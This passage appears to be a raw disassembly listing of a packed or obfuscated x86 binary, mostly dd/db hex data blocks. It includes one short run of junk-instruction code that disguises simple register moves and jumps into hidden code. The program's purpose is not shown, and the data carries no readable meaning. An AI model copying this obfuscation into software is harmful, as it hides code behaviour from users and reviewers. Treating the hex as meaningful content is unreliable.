0E2FDC75h, 2EB52077h dd 54D0D9BBh, 20243C60h, 83996C91h, 23E861C9h, 1733770Eh dd 770E237Eh, 0A93C17C2h, 3DAF543Ah, 68CECCA8h, 69000000h dd 2AA2432Ah, 0EF08702h, 43978577h, 6D524F55h, 10899h dd 1AB0000h, 8864896Ch, 0F99318E5h, 6A628714h, 8213F2ACh dd 527A6F79h, 770EF0B9h, 0B1D45007h, 9B0D8DDh, 0C1E98E51h dd 0DFC7D24Ah, 0AFF0FE5Bh, 0DE5AFB11h, 4D7B6DAh, 12B55E3Ch dd 8AD4D48h, 0AC2505BDh, 10770E3Dh, 0F99AEF45h, 66099CF0h dd 1500341h, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch dd 0A22ACFACh, 53244927h, 0F034AD7Dh, 0DD88770Eh, 0EA8B1676h dd 620487C1h, 9ECEEF83h, 0CDF684CBh, 4E72CE9Bh, 0AAF401Ah dd 9B1CF346h, 998A6CF1h, 6365F0F5h, 97F1F69Eh, 0D0A7640Ah dd 5D28BD2Fh, 2B7FB30Bh, 92798213h, 2F095DC3h, 996D4C25h dd 60C2h, 452A7D00h, 0A00FB044h, 0EB34528h, 3559D75Eh dd 5B179C7Dh, 65C3E88Ah, 2EDBBC01h, 0B1DBA647h, 25A7482Ch dd 0F994B864h, 0F072EB3Fh, 81A9770Eh, 770EF108h, 3BAEE174h dd 4C7E76BDh, 4379996Dh, 0FA000000h, 2CBC452Ah, 700EB341h dd 0F0F992B6h, 9047770Eh, 19971CFDh, 1145F971h, 5D33B859h dd 0A0492A26h, 6C956706h, 0B250F890h, 74770EF0h, 80849CC0h dd 23996D52h, 79231870h, 0A90714A4h, 1B3h, 442ACC00h, 0F043DC6Ch dd 0D2B9770Eh, 0D9712B47h, 770EF040h, 3B5329BCh, 0AE3EBF56h dd 83DB0F25h, 565B3CEDh, 80C45336h, 7DCD9CE7h, 770EF0E4h dd 37DE8D58h, 24B3D6B6h, 0FF94BE8Ah, 5F0A7511h, 48C16923h dd 0B4710BDFh, 5E234B21h, 0CF5236B7h, 3DC58728h, 710BDFA2h dd 5434BD52h, 0CA8227C9h, 966C9567h, 0A0D87AAEh, 0B84D386Ch dd 3459D7D8h, 0A5085C61h, 0D6BB2DD2h, 7D2EBE3Fh, 1DF093C7h dd 94F9777Ch, 5BE8FC01h, 936A4141h, 1A33Eh, 85F0B900h dd 0E1FF4B67h, 38751208h, 47B63467h, 85D0FB0h, 4F033E77h dd 527A9F7Bh, 12EE7565h, 7B0AA433h, 6D781099h, 836AF797h dd 92F0F1A8h, 0AA978E3Ah, 34D73BC8h, 4E02E974h, 0F99314FBh dd 6C7C8114h, 886EFFBFh, 807C6963h, 3FD668BCh, 0C144DD6Dh dd 0D5B8710Bh, 44D3BE43h, 22D9E300h, 3BCA936Ah, 0A93CAC55h dd 5FC9D3h, 0F5AF0000h, 0BCDBC55h, 4550071h, 14B9BB28h dd 0BA39B762h, 486686F0h, 0F021BA8Eh, 42D3770Eh, 75F366B9h dd 0F0A6EF3Bh, 0CF9A770Eh, 0F0DC759Dh, 0B383770Eh, 65830D6Fh dd 1EB7934Dh, 62770EF1h, 0F66FBBF7h, 4A770EF0h, 0AD67219Fh dd 0AA4835D8h, 0EE3EBA01h, 770EF0A5h, 4598CC9Bh, 0D8h dd 8F6C01F8h, 8967626Ah, 1D55533Eh, 1214430Dh, 3A523975h dd 35C7C057h, 0B702A774h, 0D1BB3CD0h, 0D6BB29B4h, 62EBE3Fh dd 710BCC16h, 31499D51h, 28CDA15Eh, 0A5E25A0h, 0DA94127Dh dd 49C26620h, 0B7710BCBh, 29A28620h, 97710BCBh, 1D4464C0h dd 836F0594h, 0BE5F482Ch, 533EAE35h, 355038C1h, 2489C3AEh dd 22C75451h, 38503FAAh, 0A923C855h, 0D9B334C4h, 0C7779B9Bh dd 0AE7A3466h, 77057335h, 86A2DC8Bh, 7705740Dh, 3408E473h dd 7FCB85E0h, 770573E6h, 277E7F16h, 8B34B0h, 7D4E2C28h dd 4AD1FBFEh, 7E6F6B2Ch, 8ED3D4A4h, 38B4BCFDh, 5421C47Eh dd 0CCA83DAFh, 0FF78B5FCh, 0C2FC6B74h, 0D8A72008h, 0D672710Bh dd 710BD83Dh, 6EFDD483h, 7A12937Bh, 86FD916Fh, 4B6785F0h dd 4CE7D2BAh, 0D34BDD2Fh, 0DD9B11FCh, 811264Dh, 65379A75h dd 13A8B696h, 563D4C9Eh, 84C45336h, 19515639h, 3A52CB5Fh dd 3BAE7104h, 0B14429BDh, 0B2B45C0Ch, 0C454F539h, 72DF8932h dd 0E40DE29Bh, 28044F19h, 1D135AE4h, 0D9DEB1C9h, 0AE4F268Bh dd 595783Eh, 8D6104E0h, 0F99D6068h, 3C8A0327h, 63F64CF3h dd 8C69F494h, 7EA66567h, 5B03E82Ah, 3D1089A1h, 0F96C4CF3h dd 53EB3F03h, 0C0553BBCh, 1FEE882Dh, 92FA7677h, 37Fh, 80038600h dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 4F14680Bh dd 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 60A58BFh mov eax, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push esi mov esi, eax push ebx mov ebx, 8 add ebx, edi mov [ebx], esi pop ebx pop esi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- db 0E1h, 0B8h, 1 dd 3060A5Eh, 83E0FFC5h, 0C472A9DEh, 0E375CF26h, 0A66C83E6h dd 1B5DEDA4h, 6E397570h, 691074C4h, 0C04C15AAh, 0CF7C8314h dd 0B26383B6h, 210BCF4h, 2C7F4D0Dh, 7F464ED3h, 0CF34DB42h dd 0FB6C4799h, 6835A7BDh, 5F06E322h, 0E662C22Eh, 0E657B310h dd 0CF7149CDh, 0F8722AE4h, 0BB3F67BEh, 8A4D1E9Ah, 8D4D9D00h dd 0A5FB48Dh, 0E9B58B06h, 89060311h, 331D18Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0C777B743h, 301E185h, 58C406h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 29EE580Ah dd 31CCD8Dh, 0BD85C706h, 60321h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8666C357h dd 6D56BE66h, 21B5BD29h, 0B5FF0603h, 60313E9h, 1CB98589h dd 95FF0603h, 6032691h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 1EC35646h, 0DD9D8B2Ch, 8B060305h, 0FF006AC3h dd 31FB995h, 0EBC08B06h, 62A14A1Eh, 0FAB37DD3h, 0E43609B3h dd 0A2F3F6F8h, 7FE2ECA5h, 6B534FE5h, 0CB39ED64h, 0EB444B1Fh dd 6D98C04h, 5B6E92Eh, 29C80000h, 0A07DC084h, 0EE0751Bh dd 7A12E7E5h, 0ED821775h, 0F32280C4h, 0BB29D2A7h, 2FBD42D6h dd 5D33B85Ah, 0CC8025C8h, 0BC55F5B5h, 710491h, 432AF370h dd 0B2472AA2h, 1FF65B09h, 8C63CE9Eh, 0FF9C616Bh, 6D681330h dd 0E5D44DDh, 8C2DB877h, 44D3D098h, 73A79D04h, 3D53543Bh dd 0A321CAA8h, 76EF3BF5h, 0CA770EA4h, 0A4E37CCCh, 0B259770Eh dd 56244927h, 0C2563BADh, 32C6AB3Dh, 9F76DB8Dh, 2F054E1Eh dd 0D2D25BFBh, 670EDF8Eh, 0E5430646h, 9BC9F280h, 205E5F36h dd 0A449C266h, 20B7770Eh, 1705B69Fh, 9814834Fh, 72AA28F0h dd 0B87C770Eh, 0D4788C94h, 712B996Ch, 92FAFF9Ch, 7E3CD5F7h dd 0D580770Eh, 6A7D5Fh, 813B0000h, 0A3E50EECh, 770E7E2Ah dd 0EE65C396h, 2AA2432Ah, 1778AB6Ch, 0CB696039h, 9EC25D6Dh dd 0D64A770Eh, 8E9682h, 149996Dh, 0EA000000h, 28A0492Ah dd 0BCF9B845h, 95D0A570h, 71DC8C1Bh, 8F5E189Dh, 56573FE8h dd 68C481CBh, 0D5DABD00h, 0A0492EB3h, 0F8827728h, 1F075CE3h dd 389ACE76h, 0D76FB371h, 5A2FBD46h, 255E32B3h, 2CBC452Ah dd 0F3F49B6Ah, 0F0FA93B7h, 9346770Eh, 1EA37015h, 3367DD4Eh dd 7F6D967Bh, 64B51EC1h, 0CC9CA516h, 79F7FC99h, 6C7C8114h dd 82CAEF81h, 0EFC91D03h, 996CC4E5h, 7E82h, 452A3D00h dd 0AF412CBCh, 0F7996C0Ah, 0FB94B4F2h, 41770EF0h, 0C74E1E9Ah dd 8C6D2569h, 0FB9C6167h, 9EE7B8F6h, 78CE0F1Ch, 927F0FE5h dd 1ABDF5FAh, 0F8BB326h, 0A8C0BCACh, 0E29E41F9h, 0C8874F5Fh dd 386C502Ch, 6D093438h, 0FC9E6F99h, 74F095F7h, 6166h dd 452A9100h, 0A96A2CBCh, 43707631h, 0F8506EDDh, 770EC85Fh dd 0DFB20EDDh, 6AB4C3Dh, 911AFB46h, 552DBF0Ah, 5C3D7599h dd 2A423157h, 28A049h, 770EF082h, 0B4D4D9BCh, 28A04529h dd 3F9FC361h, 0C1CD690h, 770EF093h, 0B28662E9h, 52728A6Eh dd 7731996Dh, 0EE43AD3h, 55D38677h, 147h, 4701F000h, 0EF06AE3h dd 6703D677h, 0EF04AC3h, 4523B677h, 0BF5D4E20h, 28CF523Ah dd 3580C587h, 9B7D10AEh, 4E137616h, 1558B25Bh, 88E05CD9h dd 16977F0Eh, 0F0951376h, 8BF0981Dh, 4B2D65A9h, 0AB36B75Eh dd 5CF5550Fh, 0A0770E3Ch, 34AD7D35h, 88770E3Ch, 640367DDh dd 67E04819h, 0D5770E3Ch, 45FFBB06h, 3C26BF8Bh, 0CF9A770Eh dd 3CFE97B3h, 9742770Eh, 4C073119h, 0E6757511h, 525725C8h dd 0B9D1AF3Ah, 28BC41D4h, 10D5AD6Eh, 0BB8910D4h, 20C5A83Dh dd 6F0580A8h, 583F710Bh, 0C6A83557h, 4EE2AB3Dh, 0CC0B81Ah dd 0CEEF86D8h, 0A7491C9Ah, 0AAB4F02h, 0C4A90742h, 0E68E5F31h dd 6E4EC7C1h, 27B2710Bh, 0CAAD3058h, 77D38D25h, 710B6EDEh dd 0C2E77D22h, 0F26DAB02h, 22E18967h, 194AEF2h, 5F2EE8FCh dd 88BB31BAh, 93696C74h, 31B65E2Fh, 5434BD52h, 37A1BB31h dd 0D2000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h, 77159A7Dh dd 0CCEA0BE2h, 3A525739h, 0D4B9D1AFh, 4802BC41h, 0BC867E0h dd 0AA06D571h, 8FD341C2h, 465520F7h, 8F5F23C6h, 9053319Ch dd 9369DC8Ch, 714Bh, 86F0F400h, 97E04866h, 85770EF0h, 23F598D6h dd 8F63CE9Eh, 9C6B7E6Eh, 27A04820h, 36770EF0h, 782DA374h dd 5D371E44h, 2D8FD3E7h, 6A2D4563h, 0A07EC635h, 0F3AD0B71h dd 32AB7F39h, 0C2770E04h, 0DD888B30h, 50C85A5h, 0E570770Eh dd 4D63F0Fh, 6A2D770Eh, 0B93CEBF7h, 0BD941037h, 2FB93ED6h dd 0C0932FBAh, 0ED0ADh, 0B9CDAB4Eh, 85A4h, 85F0DF00h, 15FF4B67h dd 0B751214h, 0CEA10C5Ch, 3FD6BB29h, 0AE682EBEh, 0BCC019Ah dd 0CE87F71h, 0BCC2C3Ch, 5387BB71h, 0FCB66F30h, 0FA93ABF7h dd 4799F18h, 5CD8A752h, 698B6609h, 0E05EC81Ah, 3D4A1EE5h dd 24C9AC52h, 0BE2ED3A1h, 6225C2Bh, 6F04DF30h, 4CD1BB2Eh dd 0F94404A9h, 14F99318h, 866B7D86h, 7ABACBF0h, 2D07E456h dd 13FB8AF9h, 0DEA91692h, 11D5900Ah, 10FFA6DCh, 18FCF256h dd 0EF7A74FFh, 85F0FAF9h, 9FF4B67h, 607508BAh, 920982A6h dd 0E0777104h, 0BE2D04h, 23BC8C46h, 99710491h, 9141DAF2h dd 28BF7104h, 0EB7A3C4Ch, 87E2A09h, 0C2BD9903h, 0F4701577h dd 6F01FE91h, 10C3FF4Ah, 0D1E84497h, 8824328Ah, 0F5D3B24Dh dd 40FE926Eh, 0A12BD0ADh, 2ACFA124h, 53543B4Eh, 1CA57617h dd 0CBA3194Ch, 0F8CD6D23h, 0B9ED4358h, 7D110EE1h, 7E069FABh dd 0EF7A4908h, 18E54800h, 2BB90493h, 0DEC4AF46h, 0EC11E526h dd 33C8E9FCh, 2BD0A644h, 0F25924A1h, 5E5F379Ah, 3B6F450Eh dd 656B8C63h, 0BEF8FD90h, 27A14A2Fh, 0ABA6C6A2h, 3, 2A8003CAh dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 68240489h, 24AFh, 68242C89h dd 70CAh, 68240489h, 3957h, 0B9240C89h, 1194DB9h, 8108E9C1h dd 9C7AF1E9h, 0C1814132h, 38A5C185h, 5459CD89h, 8324048Bh dd 515504C4h, 5D7481B9h, 244C3106h, 408F5904h, 8708108h dd 65D7481h, 582434FFh, 4C481h, 2C8B0000h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0F917D8E9h, 0A6C600FFh, 8E0B9040h dd 25C7CE24h, 0A650CB8h, 0FFC50306h, 39B93EE0h, 0B7B78456h dd 0E602572h, 78A42C4Bh, 0B5152829h, 0B78D8D71h, 6A060A66h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 2BBCC355h, 0D45FE636h, 2251BB75h, 8BD6BF0Fh dd 8DBD89FEh, 89060302h, 331D18Dh, 2DB50106h, 66060331h dd 49E8C681h, 1E185C7h, 62F00603h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 74549AC3h dd 0BD85C74Dh, 60321h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7B61C352h dd 29F4D604h, 300058Dh, 0F1B5FF06h, 6A06031Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BE6C355h, 326BDBDh, 9195FF06h, 6A060326h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0E053C350h, 607C4C45h, 8AD08B66h, 958B61D4h dd 603038Dh, 95FF006Ah, 6031FB9h, 0DEBC08Bh, 0BE98090Dh dd 0DFC1A589h, 897F16D7h, 8E854h, 225B0000h, 0A2E0FA2Eh dd 0C18A8984h, 8B0F5Eh, 81000000h, 65EAC6h, 0BA666000h dd 8B66CB5Dh, 0FF3361F3h, 2D59BD09h, 148B0603h, 858B573Eh dd 6032EE1h, 11EA8159h, 804CA48Dh, 0EA81DEDCh, 32C3EB27h dd 0BE9h, 64D57000h, 28CF16A7h, 50689648h, 24CC281h, 0BD891A94h dd 6033265h, 313E1489h, 31B6DB5h, 7B86606h, 3EF83CAh, 1BD99D8Bh dd 0B84F0603h, 195EDB10h, 9ABCFF81h, 850FFFFFh, 12h, 1DE9DC8Ah dd 61000000h, 3B008F8Dh, 0F1D7A00Dh, 0E9F829C4h, 0FFFFFF8Ah dd 0F8B42962h, 0D3B952A6h, 0F9005D62h, 0C08Bh, 1ADh dup(0) dd 810F6000h, 2, 56B90BB7h, 6174AC9Bh, 6A9DF5h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0A05597C3h, 3E91644Fh, 14E971h, 0ACAE0000h, 4892FEBAh dd 5C51CD80h, 27CC0C06h, 0B55D49C1h, 6060FC33h, 5F576160h dd 44E38061h, 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0DEF5DEC3h, 0F605DCFh, 58Bh, 0E1816600h dd 0BF0F289Eh, 440161C8h, 810F0824h, 8, 2840Fh, 61600000h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0B4624834h, 601E76BBh, 0CD80FE8Bh, 11E961BFh dd 30000000h, 0ED2BA960h, 0FA4C4E6h, 1DBD8A80h, 32E518A8h dd 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FE77CC3h, 1380h, 8E96000h, 57000000h, 0CD7B983Ch dd 667DBD2Ah, 616DB7BFh, 1A8A0Fh, 8C0F0000h, 14h, 0FE9h dd 1ACD6B00h, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 0D98B60F5h dd 12E9h, 294F1B00h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h dd 61DF3E37h, 8B9C08Bh, 0E974B61Bh, 8, 0F994FC41h, 0CFACD916h dd 0E9CE8B66h, 0Fh, 366CE3AAh, 0E5AF4421h, 0C70BA7BFh dd 0E980EA18h, 14h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h dd 0B41C6792h, 830F17B0h, 2, 0F5BFE38Ah, 5302333Dh, 58E0Fh dd 81660000h, 598EE3C0h, 81666060h, 6166EFE7h, 6E8h, 86050A00h dd 66755D89h, 6159D88Bh, 9EF8166h, 0C68BF5A9h, 0C869F281h dd 8B6029B0h, 0F861F8C6h, 0CE860h, 12F70000h, 98CC4F18h dd 0E492422Bh, 7E8D464h, 0DA000000h, 2DDAD28h, 5858605Dh dd 3B9EA81h, 81610BD8h, 0AC7574CBh, 13E906h, 8C870000h dd 761A8E29h, 58139D9Fh, 0EA1BA201h, 0B531B021h, 4820FFFh dd 66000000h, 0E9A5C4BEh, 6, 90CC474Dh, 8B668527h, 0FCDB5C8h dd 88Eh, 2860F00h, 60000000h, 0D3816661h, 10E9D1C7h, 84000000h dd 563E9C10h, 3B703CEFh, 4751861Dh, 0FA4FDC0h, 28Dh, 0FCF8B00h dd 0F52D7BFh, 0F5AF0BFh, 58Dh, 5F1BB00h, 6E957DFh, 36000000h dd 784922ACh, 10E833h, 5C550000h, 0E9D90D6Ah, 0B326999Bh dd 595BC075h, 8B66F78Dh, 9E95ED3h, 4D000000h, 238199BCh dd 0D9838F86h, 8AF78B66h, 0F98B66ECh, 0A8C88166h, 0AE480CEh dd 38F0Fh, 8B660000h, 0F3F380D0h, 0E9D8B70Fh, 0Ch, 176883D0h dd 0F40694B3h, 82B07C96h, 81B9F88Bh, 6602C8F6h, 4474EB81h dd 6870Fh, 0F9600000h, 61C88B66h, 9820Fh, 60600000h, 0DA816661h dd 0F6140ACh, 386h, 0DABF0F00h, 28A0Fh, 0DA8B0000h, 0BB66F98Bh dd 0D881D8A6h, 5EE75309h, 870Fh, 8F0F0000h, 3, 0E9CF8B66h dd 9, 784AEADAh, 0F04E443Ah, 0DA81668Fh, 12E8BCC6h, 9F000000h dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0E48058CEh dd 9E9F804h, 0D6000000h, 13C0FD84h, 212B4D6Dh, 66FBB70Fh dd 0F6F27BBh, 0CE8AD6B7h, 0CE9h, 3C007A00h, 0EB1B2913h dd 272DCC52h, 0C6BF0F18h, 0DAF38060h, 0AE9h, 10C31100h dd 31F88585h, 61CC474Dh, 0FF9D88Bh, 784h, 3BBA5700h, 583A519Dh dd 8B66CA8Bh, 0FCDE8BFAh, 0DE9h, 9086DA00h, 5889DBD1h dd 542A8AA7h, 0E8F8E2C4h, 0Ch, 55B70F91h, 1B3A2940h, 0B4270982h dd 5E8h, 3A2D7100h, 9B7EF27h, 0D5805E5Eh, 0DE8ACh, 2150000h dd 0C4D1E365h, 0D3697389h, 0E9922452h, 7, 0BCE2C35Bh, 5F1407A4h dd 0BE856h, 0D74C0000h, 0B293A1FDh, 183F79Eh, 0CE8166DBh dd 5F58E113h, 6850F60h, 0F000000h, 84h, 8B666000h, 8B966D7h dd 666161BBh, 665390BEh, 0E9B8EBB9h, 0Ah, 9CE86986h, 284FB496h dd 8B66A9C8h, 7BF580FAh, 8123E880h, 857C6FC0h, 12E9F902h dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h, 83A3B6F1h dd 5E90Dh, 0D4AC0000h, 60E6D980h, 0FD18B66h, 0E961FABFh dd 0Dh, 0C5FDD3E2h, 304A1289h, 0C71C48FEh, 0DF816613h dd 0BE9DC0Dh, 54000000h, 9C0A7E40h, 0DD20B538h, 0B8661F97h dd 0DB80862Fh, 0BE66601Ch, 8C0F6ABFh, 6, 0C3D6C681h, 66612312h dd 5D23C781h, 0A8C0Fh, 8A0F0000h, 4, 9695B866h, 8B665160h dd 870F5BF1h, 0 dd 3820F61h, 66000000h, 0B70FC28Bh, 0D1B70FC1h, 24CA8166h dd 71BF6601h, 66D88BB5h, 0E8CA59BEh, 12h, 562198B2h, 0BA04DF38h dd 0CE62566h, 2115E12Ch, 0B450F3E9h, 53585A8Ah, 0B8E0Fh dd 6E90000h, 28000000h, 0FDD15AFAh, 816659CBh, 0FC722EEh dd 585h, 0F06EBB00h, 0F9601268h, 8880F61h, 53000000h, 800Fh dd 8B5E0000h, 10E9C8h, 0DE760000h, 4497FC0Ah, 557BC0D5h dd 8F40CBACh, 0D38B721Dh, 0C4EECBBEh, 0FFD4B96Ah, 0E8F8125Ch dd 13h, 0F07563F7h, 7305B94Ch, 20426125h, 165E48E0h, 52C82EE0h dd 0FE9h, 52DE4E00h, 16AB2681h, 56E10FEBh, 3C05E8F8h, 5E85B5Bh dd 0CA000000h, 82B7F6D4h, 0C568B951h, 5A597C90h, 56E68166h dd 0FA8B66AAh, 0DBF022BAh, 5820F19h, 0B9000000h, 278A2689h dd 52F2D880h, 0EE9h, 0C0843B00h, 807D810h, 0FB4D6C4h, 58AFF110h dd 58E0Fh, 81660000h, 57ACC5E3h, 0AFAFD781h, 0F5A41F9h dd 18Dh, 0CE81F500h, 1FD14EE3h, 0B4D9BF0Fh, 8ABDBE91h dd 51503E06h, 5A586160h, 0B2D98B66h, 0F38B66FAh, 88D0Fh dd 810F0000h, 2, 0DE95957h, 13000000h, 8F1AF1F5h, 0FB8506D7h dd 0B5BB096Eh, 6992B966h, 8E9h, 14354E00h, 157B8026h, 66FA8B83h dd 968DE381h, 9B9AB966h, 5E9h, 4E42CF00h, 81666A26h, 8B343DCAh dd 0AEC881DEh, 6605CB0Bh, 7723F381h, 988ACE81h, 0C38B16F4h dd 7860Fh, 0BB560000h, 1657D804h, 0EAD9805Ah, 0A830Fh dd 0BE600000h, 21817F90h, 6126F280h, 860F7BB7h, 10h, 8E9F560h dd 0CE000000h, 16EA5EF4h, 6162DB94h, 0DDA9D4B9h, 92D0813Eh dd 601B7FC1h, 13E8h, 51943400h, 31AA7065h, 0B36461EFh dd 56630233h, 3CCA78FAh, 1782EA81h, 665E3897h, 5361D38Bh dd 582ADC80h, 800Fh, 81660000h, 0E977DBD2h, 0Bh, 0A720DFB4h dd 65871D82h, 53AAFD16h, 0A6C68166h, 5E85A01h, 0A2000000h dd 76F0DF04h, 10F1D5BBh, 0B8665B06h, 0BF0FF79Eh, 0F60B1C3h dd 381h, 0F38B6600h, 11E9h, 8EFE200h, 4DD18ABCh, 36E0CEE7h dd 0BE655F3Dh, 0BE66D9CCh, 0D98A139Ah, 0F9C3BF0Fh, 14890Fh dd 0FE90000h, 46000000h, 0A3A4A869h, 0D0F10B29h, 0F992C93Dh dd 0F7817934h, 1EC18417h, 0B866FB8Bh, 0F604225h, 1284h dd 0CE800h, 98930000h, 3080B518h, 0C6AD3314h, 8A584309h dd 816661DEh, 0F8AD92E2h, 732AB957h, 0E95F3C53h, 6, 0B1979F30h dd 0CE9F623h, 72000000h, 4B45593h, 899326F9h, 528E2120h dd 78DCBA66h, 60C28B5Bh, 0C16DE281h, 0F18B0691h, 5870F61h dd 66000000h, 1DA2F281h, 0B1F1BF0Fh, 81D08A8Eh, 0E4B3C2D2h dd 0AB26B933h, 0FB8B4805h, 50FCFC8Ah, 5EF98B52h, 0E681665Fh dd 810F00FFh, 3, 0FC15E980h, 0C881F08Ah, 6F7C0FC9h, 66CF8B66h dd 66C64BBEh, 0B70FD38Bh, 0DE8B66C0h, 66D18B66h, 40B1FE8Bh dd 0FE9h, 798900h, 0A8993585h, 1BDE69B4h, 4F431D26h, 8E8h dd 8FABE500h, 0F65C21DEh, 0EE9590Fh, 0F5000000h, 0CA082D5Fh dd 0F31D56ACh, 0F6363B73h, 0CE8B6671h, 3FC28166h, 0C38A609Ah dd 61C38B66h, 0F5DA80FCh, 1E880Fh, 8A0F0000h, 18h, 12E8h dd 1CD3F300h, 87CAE560h, 6249DC98h, 5EDF72ABh, 58CF00E3h dd 9867BE66h, 0BE75BE66h, 4850F60h, 66000000h, 0F52C66BFh dd 0B70F6061h, 0F8B70FCBh, 6435B861h, 8B0F1922h, 2, 6EBAF98Bh dd 665A689Ch, 0C38CE181h, 12E9F9h, 97A00000h, 76EA3EC8h dd 0EAD5962Fh, 9E9E3B5Bh, 13D4BD8Bh, 9E9C18Bh, 96000000h dd 16CDAFDCh, 9E375955h, 9F5EBE66h, 66F560F9h, 0F61F38Bh dd 1988h, 14E900h, 5F290000h, 3347BB1h, 5910E73Fh, 0C53C2A4h dd 0E7B61DEBh, 8B0FB651h, 5, 1B0543BBh, 6021B765h, 0B12651BEh dd 18D0F6Bh, 0F8000000h, 0CE961h, 0B93A0000h, 0D87023ABh dd 0B38E267h, 0ACBB2E76h, 521C1BDCh, 5FF38B66h, 6A35B866h dd 5E8h, 8CB8AB00h, 0F1B1C9E8h, 0DD5805Fh, 0DE8B66F9h dd 820F3AB3h, 0 dd 9C88BB57h, 605A50DBh, 8DA6EA81h, 6E81448h, 0F6000000h dd 77CCBC4Ah, 0C18166A0h, 615965D8h, 0C08166F5h, 11E90520h dd 5F000000h, 6EF7A30Ah, 23A468Dh, 0D09B5A64h, 54794527h dd 5820Fh, 0F1B80000h, 0E979D4D4h, 10h, 3403FB88h, 0D333920Bh dd 1B52885Ch, 12889C7Ah, 0DE9FCh, 0EF0D0000h, 0DC014AADh dd 682BCE00h, 0FCBE79AFh, 9E9h, 42F9A800h, 0C22AD048h dd 0BB6665A9h, 9BBA615Bh, 0F5578CBDh, 13E9h, 5C17EB00h dd 0E856912Ch, 29C2AAE3h, 0BC791D54h, 11335805h, 6850Fh dd 0D7810000h, 3AC8563Fh, 0DE41B866h, 8E9h, 3BBF4900h dd 91671DA2h, 1A8F0F5Fh, 0F000000h, 1481h, 0FE900h, 0EA780000h dd 75A2E360h, 92C5BCB9h, 0FB87833Dh, 6E9E0h, 431B0000h dd 5AF32EEDh, 0BB486EBAh, 0FB8B666Fh, 108A0FF9h, 0E9000000h dd 0Bh, 0BCB6107Eh, 4BCB5538h, 0F89C3A60h, 57D88166h, 0DE838h dd 0F0E00000h, 3B755481h, 0DFC5A320h, 5950844Bh, 0CE9h dd 38420900h, 4911CB6Bh, 0F841678Dh, 0FE9F5ADh, 0CC000000h dd 0F2358D5h, 37AD0A09h, 68908792h, 0E9F8FF9Ah, 10h, 46E524FBh dd 3FBFADC2h, 0B49C66C3h, 0D8B6A48Dh, 0DE9h, 0CBD6C500h dd 55E1EC52h, 97E517CAh, 13E9EDB7h, 77000000h, 6BC8DAB2h dd 33948E3Bh, 1E8942Dh, 0EB93C8D2h, 0BF0FC26Ah, 8BD88BD0h dd 0CEBF0FFEh, 8AC2BF0Fh, 5890FECh, 0B8000000h, 20168396h dd 0D840Fh, 8E90000h, 0DA000000h, 2420660Fh, 52D9BE68h dd 5ECE8B66h, 60CBBF0Fh, 10E8F98Bh, 92000000h, 260AC873h dd 0ED4B762Eh, 2EFC7306h, 5E129DECh, 64F78161h, 66206AD2h dd 800FD78Bh, 6, 1D44CF81h, 56BA3652h, 0E80ACD88h, 0Eh dd 0E7B13378h, 0AC2C6962h, 98037F50h, 0BA66D268h, 0B15BB1F3h dd 5FEE8109h, 8A2A8CC0h, 0AE860ECh, 12000000h, 7A59F0Eh dd 0F77213CFh, 7E947h, 0AFA30000h, 6296A28Ah, 8B665F82h dd 0FCBA61D6h, 6047C9D4h, 0E7D08166h, 0DA8B618Ah, 0C6F08166h dd 0B2BF6627h, 10810F7Eh, 0E8000000h, 8, 0C082F08Bh, 0B7341FAEh dd 0F5BC38Bh, 381h, 0F18B6600h, 6245CA81h, 880F07D1h, 14h dd 0CFB70F60h, 0AE9h, 326D1600h, 0BDE184BAh, 61DABFA2h dd 7E9C38Bh, 0C8000000h, 0D1B24CF3h, 5DB11B05h, 402FD281h dd 0DAB4220Eh, 7D6406BAh, 0DB9662Eh, 0CA8B66F6h, 0F78B5DB4h dd 8025CA80h, 0BAB381E9h, 8153D38Bh, 0BE52E7EAh, 0E8F95F52h dd 13h, 838B1488h, 34FCE1F5h, 22220712h, 0D9B773AFh, 6009EA93h dd 5E57D18Bh, 0B8665B61h, 0BFBAAB3Eh, 0E814182Fh, 0Ch dd 9ED7179Ch, 0ADC9AE82h, 0C29B5CB4h, 840Fh, 0B35A0000h dd 2CE88167h, 6623C8D4h, 81FB8DBFh, 